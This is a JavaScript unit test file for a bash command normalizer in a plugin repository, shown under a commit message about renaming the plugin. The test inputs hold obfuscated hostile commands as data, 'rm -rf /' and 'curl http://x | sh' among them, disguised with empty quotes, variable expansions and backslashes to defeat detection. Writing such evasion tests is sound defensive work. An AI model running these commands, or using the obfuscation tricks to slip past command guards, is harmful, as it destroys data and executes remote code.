ktg-plugin-marketplace/plugins/voyage/tests/lib/bash-normalize.test.mjs
Kjell Tore Guttormsen 7a90d348ad feat(voyage)!: marketplace handoff — rename plugins/ultraplan-local to plugins/voyage [skip-docs]
Session 5 of voyage-rebrand (V6). Operator-authorized cross-plugin scope.

- git mv plugins/ultraplan-local plugins/voyage (rename detected, history preserved)
- .claude-plugin/marketplace.json: voyage entry replaces ultraplan-local
- CLAUDE.md: voyage row in plugin list, voyage in design-system consumer list
- README.md: bulk rename ultra*-local commands -> trek* commands; ultraplan-local refs -> voyage; type discriminators (type: trekbrief/trekreview); session-title pattern (voyage:<command>:<slug>); v4.0.0 release-note paragraph
- plugins/voyage/.claude-plugin/plugin.json: homepage/repository URLs point to monorepo voyage path
- plugins/voyage/verify.sh: drop URL whitelist exception (no longer needed)

Closes voyage-rebrand. bash plugins/voyage/verify.sh PASS 7/7. npm test 361/361.
2026-05-05 15:37:52 +02:00

49 lines
1.7 KiB
JavaScript

import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
normalizeBashExpansion,
normalizeCommand,
canonicalize,
} from '../../lib/parsers/bash-normalize.mjs';
test('normalizeBashExpansion — empty single quotes stripped', () => {
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
});
test('normalizeBashExpansion — empty double quotes stripped', () => {
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — single-char ${x} resolved', () => {
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
});
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
});
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
});
test('normalizeBashExpansion — non-string input safe', () => {
assert.equal(normalizeBashExpansion(undefined), '');
assert.equal(normalizeBashExpansion(null), '');
assert.equal(normalizeBashExpansion(42), '');
});
test('normalizeCommand — ANSI codes stripped', () => {
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
});
test('normalizeCommand — whitespace collapsed', () => {
assert.equal(normalizeCommand(' git status '), 'git status');
});
test('canonicalize — full pipeline on evasion', () => {
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
});